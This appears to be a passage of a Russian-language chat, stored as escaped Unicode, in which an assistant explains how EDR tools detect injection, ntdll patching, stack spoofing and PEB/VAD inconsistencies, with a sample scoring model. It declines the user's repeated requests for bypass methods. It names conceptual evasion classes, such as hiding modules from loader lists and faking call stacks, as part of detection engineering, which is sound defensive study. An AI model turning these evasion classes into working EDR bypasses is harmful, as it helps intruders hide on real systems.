\u0440\u0430\u0437\u043c\u0435\u0440\u0430\n\u0441 \u043a\u0430\u043a\u043e\u0439 \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u0435\u0439\n\u0447\u0442\u043e \u0442\u0443\u0434\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438\n\u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u043e\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u043b\u0438\n\u043a\u0430\u043a\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438\n10.2. \u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT pattern\n\u041e\u0431\u044b\u0447\u043d\u043e:\n\nknown runtime loaded\nknown process family\nallocation from runtime module\nRW \u2192 RX transition\nthread remains in expected runtime context\nno remote process injection\nno credential/process tampering\nstable repeated pattern\n10.3. \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 injection pattern\n\u0427\u0430\u0441\u0442\u043e:\n\nopen target process with high rights\nallocate memory in target\nwrite bytes\nchange protection to executable\ncreate/hijack remote thread\nthread start address \u2208 MEM_PRIVATE\ncall stack lacks normal module ownership\n\u0417\u0434\u0435\u0441\u044c \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 syscall \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e, \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043d\u0435\u0442.\n\n10.4. \u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 patching/hooking pattern\n\u041c\u043e\u0436\u0435\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0442\u044c\u0441\u044f \u0443:\n\nEDR\nAV\naccessibility tools\nprofilers\nAPM agents\ngame overlays\nanti-cheats\ndebuggers\ninstrumentation frameworks\nEDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442:\n\nsigned vendor\nknown module\nknown injection path\nstable behavior\nlimited target scope\nexpected product context\n10.5. \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 patching/tamper pattern\n\u0421\u0438\u0433\u043d\u0430\u043b\u044b:\n\nunsigned module patches ntdll/kernelbase\nlow-reputation process modifies system DLL .text\nsecurity product DLL altered/unloaded\nhook bytes removed\nETW providers disabled/tampered\nthread starts in unbacked executable region\nmemory written shortly before execution\n11. \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043a\u043e\u0440\u0438\u043d\u0433\u0430\n\u0423\u0441\u043b\u043e\u0432\u043d\u0430\u044f scoring-\u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0442\u0430\u043a:\n\n+10  MEM_PRIVATE executable region\n+15  region recently written\n+20  thread start address inside that region\n+20  region not backed by file\n+25  syscall origin outside ntdll\n+20  stack missing ntdll/kernelbase frame\n+25  RSP outside normal stack bounds\n+30  ntdll .text protection changed to writable\n+35  EDR hook bytes removed\n+30  remote process handle with VM_WRITE/CREATE_THREAD\n+40  target is lsass/security/browser credential process\n-30  known JIT runtime owns region\n-25  signed trusted anti-cheat context\n-20  known browser renderer baseline\n\u042d\u0442\u043e \u043d\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0441\u0430, \u043d\u043e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a: \u043f\u043b\u044e\u0441\u044b \u0437\u0430 \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u0438, \u043c\u0438\u043d\u0443\u0441\u044b \u0437\u0430 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\n\n12. \u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 defensive-\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\nEDR \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u201c\u043f\u0440\u0430\u0432\u0438\u043b \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\u201d.\n\n12.1. Module invariant\n\u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0442\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u044e\n\u0438\u043b\u0438 \u0438\u043c\u0435\u0442\u044c \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043c\u044b\u0439 runtime-\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\nMEM_PRIVATE RX\nmanual mapped PE\nmodule absent from PEB\nVAD image without loader record\n12.2. Syscall invariant\nSensitive syscall \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u0443\u044e user-mode \u0446\u0435\u043f\u043e\u0447\u043a\u0443.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\nsyscall outside ntdll\nmissing ntdll frame\nreturn address in private executable memory\nuser-mode telemetry absent while kernel event exists\n12.3. Stack invariant\n\u0421\u0442\u0435\u043a \u0434\u043e\u043b\u0436\u0435\u043d unwind\u2019\u0438\u0442\u044c\u0441\u044f \u043f\u043e \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c x64 metadata\n\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 TEB stack bounds.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\ninvalid UNWIND_INFO\nRSP outside stack\nreturn address into gadget/private memory\nimpossible call-site\nsynthetic shallow stack\n12.4. Memory integrity invariant\n\u041a\u043e\u0434\u043e\u0432\u044b\u0435 \u0441\u0435\u043a\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 DLL \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\nntdll .text made writable\nhook bytes removed\nunexpected patching\ncopy from clean mapped DLL into loaded DLL\n12.5. Behavioral invariant\n\u0421\u043e\u0431\u044b\u0442\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\n\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f:\n\nOffice \u2192 script host \u2192 private RX \u2192 remote injection\nbrowser renderer \u2192 credential access\nsigned game anti-cheat behavior outside game context\nsystem DLL modified \u2192 telemetry drops \u2192 sensitive syscalls\n13. \u0421\u0430\u043c\u0430\u044f \u043a\u043e\u0440\u043e\u0442\u043a\u0430\u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u0430\u044f \u0441\u0443\u0442\u044c\nPEB/VAD\nEDR \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442:\n\n\u0447\u0442\u043e loader \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u043c\u043e\u0434\u0443\u043b\u044f\u0445\nvs\n\u0447\u0442\u043e \u044f\u0434\u0440\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0432\u0438\u0434\u0438\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\n\nVAD executable region \u0435\u0441\u0442\u044c,\n\u0430 PEB/module loader \u0435\u0433\u043e \u043d\u0435 \u0437\u043d\u0430\u0435\u0442.\nJIT/\u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b\nEDR \u043d\u0435 \u0431\u0430\u043d\u0438\u0442 \u0441\u0430\u043c \u0444\u0430\u043a\u0442 RWX \u0438\u043b\u0438 \u0445\u0443\u043a\u043e\u0432. \u041e\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442:\n\n\u043a\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442,\n\u0432 \u043a\u0430\u043a\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435,\n\u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e call stack,\n\u043a\u0430\u043a\u0438\u043c \u043c\u043e\u0434\u0443\u043b\u0435\u043c,\n\u0441 \u043a\u0430\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0435\u0439,\n\u0438 \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u0430\u043b\u044c\u0448\u0435.\nStack anomalies\n\u0413\u043b\u0430\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 bypass:\n\n\u043d\u0435\u0442 expected ntdll frame\nreturn address \u0432 MEM_PRIVATE RX\nRSP \u0432\u043d\u0435 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0442\u0435\u043a\u0430\n\u043d\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0433\u043e .pdata/.xdata unwind\ncall-site \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d\n\u0441\u0442\u0435\u043a \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0439/\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439\nMemory changes\n\u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\u043c\u0435\u044e\u0442 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043c\u043e\u0433\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u044b\u0439 runtime-\u043f\u0430\u0442\u0442\u0435\u0440\u043d.\n\n\u0410\u0442\u0430\u043a\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u0434\u0430\u0451\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443:\n\nwrite memory\n\u2192 make executable\n\u2192 execute from unbacked/private region\n\u2192 perform sensitive operation\n\u2192 stack/module telemetry inconsistent\n14. \u0424\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434\nEDR-\u0434\u0435\u0442\u0435\u043a\u0442 \u043e\u0431\u0445\u043e\u0434\u043e\u0432 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043d\u0435 \u0432\u043e\u043a\u0440\u0443\u0433 \u043e\u0434\u043d\u043e\u0433\u043e \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430. \u042d\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438:\n\nPEB \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e\u0434\u043d\u043e,\nVAD \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u0432\u0442\u043e\u0440\u043e\u0435,\nETW \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u0442\u0440\u0435\u0442\u044c\u0435,\nkernel callbacks \u0433\u043e\u0432\u043e\u0440\u044f\u0442 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u043e\u0435,\nstack walking \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043f\u044f\u0442\u043e\u0435,\n\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0451 \u0432 \u0433\u0440\u0430\u0444.\n\u0415\u0441\u043b\u0438 \u0432\u0441\u0435 \u0441\u043b\u043e\u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u044b \u2014 \u0434\u0430\u0436\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0432\u0440\u043e\u0434\u0435 JIT, \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0444\u0430\u0439\u043b\u0435\u0440\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u043c.\n\n\u0415\u0441\u043b\u0438 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0439 \u201c\u0438\u0441\u0447\u0435\u0437\u201d, \u0434\u0440\u0443\u0433\u043e\u0439 \u201c\u043f\u043e\u0447\u0438\u0449\u0435\u043d\u201d, \u0442\u0440\u0435\u0442\u0438\u0439 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0440\u0435\u0433\u0438\u043e\u043d, \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u0432\u0438\u0434\u0438\u0442 sensitive syscall, \u0430 \u0441\u0442\u0435\u043a \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c, \u043a\u0430\u043a \u043f\u043e\u0442\u043e\u043a \u0442\u0443\u0434\u0430 \u043f\u0440\u0438\u0448\u0451\u043b, \u2014 \u044d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0430\u043d\u043e\u043c\u0430\u043b\u0438\u044f. \u042d\u0442\u043e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0441\u043b\u0435\u0434 bypass/tamper-\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f.\n\n\n\n\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 PEB/VAD?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b bypass-\u043e\u0432 JIT-\u0434\u0432\u0438\u0436\u043a\u043e\u0432?\n\n\n\u041a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 EDR?\n\n\u041a\u0430\u043a \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 PEB/VAD?\n\n\n\u041a\u0430\u043a\u0438\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b bypass-\u043e\u0432 JIT-\u0434\u0432\u0438\u0436\u043a\u043e\u0432?\n\n\n\u041a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430?\n\u041d\u0435 \u0431\u0443\u0434\u0443 \u0434\u0430\u0432\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e \u043e\u0431\u0445\u043e\u0434\u0443 PEB/VAD-\u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a, \u00ab\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0435 \u043f\u043e\u0434 JIT\u00bb \u0438\u043b\u0438 \u0442\u043e\u043c\u0443, \u043a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430. \u042d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 defensive-\u0440\u0430\u0437\u0431\u043e\u0440, \u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f evasion-\u043b\u043e\u0433\u0438\u043a\u0430. \u041d\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0441 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0434\u0435\u0442\u0435\u043a\u0442-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430: \u043a\u0430\u043a\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043e\u0431\u0445\u043e\u0434\u043e\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e, \u043a\u0430\u043a\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043e\u043d\u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0438 \u043a\u0430\u043a \u0438\u0445 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442.\n\n1. PEB/VAD bypass: \u0447\u0442\u043e \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u043b\u043e\u043c\u0430\u0442\u044c \u0438 \u043a\u0430\u043a \u044d\u0442\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u044c\n\u0427\u0442\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043a\u0440\u044b\u0442\u044c\nPEB/VAD-\u043a\u0440\u043e\u0441\u0441\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u043c \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435:\n\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435\n\u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043c\u043e\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435:\nloader module, image section, JIT runtime, signed instrumentation, etc.\n\u041e\u0431\u0445\u043e\u0434\u044b \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0438\u0441\u043a\u0430\u0437\u0438\u0442\u044c \u043e\u0434\u043d\u0443 \u0438\u0437 \u0441\u0442\u043e\u0440\u043e\u043d:\n\nPEB says: module exists / does not exist\nVAD says: memory exists / has type / has backing file\nexecution says: code actually runs here\n\u0422\u0438\u043f\u043e\u0432\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043f\u043e\u043f\u044b\u0442\u043e\u043a:\n\n1. \u0421\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c \u0438\u0437 PEB loader lists\n2. \u0421\u0434\u0435\u043b\u0430\u0442\u044c private executable memory \u043f\u043e\u0445\u043e\u0436\u0435\u0439 \u043d\u0430 image-backed code\n3. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 host/runtime \u043a\u0430\u043a \u043f\u0440\u0438\u043a\u0440\u044b\u0442\u0438\u0435\n4. \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 already-trusted executable regions\n5. \u041d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0442\u0430\u0442\u044c module attribution\n6. \u041f\u043e\u0434\u0434\u0435\u043b\u0430\u0442\u044c call stack \u0432\u043e\u043a\u0440\u0443\u0433 sensitive action\nEDR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u043d\u0435 \u0434\u043e\u0432\u0435\u0440\u0438\u0435\u043c \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0443, \u0430 \u0442\u0440\u043e\u0439\u043d\u043e\u0439 \u0441\u0432\u0435\u0440\u043a\u043e\u0439:\n\nPEB module list\nvs\nVAD/kernel memory map\nvs\nactual execution telemetry\n2. \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c\u0441\u044f \u043e\u0442 PEB/VAD manipulation\n2.1. \u041d\u0435 \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c PEB \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0443 \u0438\u0441\u0442\u0438\u043d\u044b\nPEB \u2014 user-mode \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 defensive rule:\n\nPEB is advisory, VAD is authoritative.\nEDR \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c:\n\nVAD MEM_IMAGE \u0431\u0435\u0437 PEB entry\nPEB entry \u0431\u0435\u0437 matching VAD image\nMEM_PRIVATE RX \u0441 PE headers\nexecution address not owned by loader module\nthread start outside known image\n2.2. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c module attribution \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u044f:\n\nthread start\nsyscall origin\nreturn address\ncallback origin\nindirect call target\nexception handler\nAPC routine\n\u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442\u044c:\n\naddress\n \u2192 VAD region\n \u2192 memory type\n \u2192 protection\n \u2192 backing file\n \u2192 PE headers\n \u2192 signature\n \u2192 PEB membership\n \u2192 image-load event history\n\u0415\u0441\u043b\u0438 \u0430\u0434\u0440\u0435\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043d\u043e \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0447\u0435\u0441\u043a\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u2014 \u044d\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b.\n\n2.3. \u0418\u0441\u043a\u0430\u0442\u044c temporal inconsistency\n\u0427\u0430\u0441\u0442\u043e \u043e\u0431\u0445\u043e\u0434 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0441\u043d\u0438\u043c\u043a\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0430\u0436\u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f:\n\nregion was RW\nthen written\nthen changed to RX\nthen executed\nthen used for sensitive syscall\n\u0418\u043b\u0438:\n\nmodule appeared in VAD\nbut no corresponding image-load event existed\nTemporal graph \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u0438\u043b\u044c\u043d\u0435\u0435 \u0440\u0430\u0437\u043e\u0432\u043e\u0433\u043e memory scan.\n\n3. JIT bypass: \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u0438 \u043a\u0430\u043a \u043b\u043e\u0432\u0438\u0442\u0441\u044f\n\u042f \u043d\u0435 \u0431\u0443\u0434\u0443 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0440\u0435\u0446\u0435\u043f\u0442\u044b \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u043e\u0434 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 JIT-\u0434\u0432\u0438\u0436\u043a\u0438. \u041d\u043e \u0437\u0430\u0449\u0438\u0442\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 \u0442\u0430\u043a\u0430\u044f: \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e JIT-\u043a\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438, \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u043d\u0430 shellcode:\n\nMEM_PRIVATE\ndynamic writes\nRW \u2192 RX transitions\nexecution outside PE image\nno normal module ownership\n\u0427\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 JIT\n\u0423 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e JIT \u0435\u0441\u0442\u044c \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0430:\n\nknown runtime DLL loaded\nknown allocator / code heap\nknown threads\nknown call stacks\nruntime metadata\nrepeatable allocation 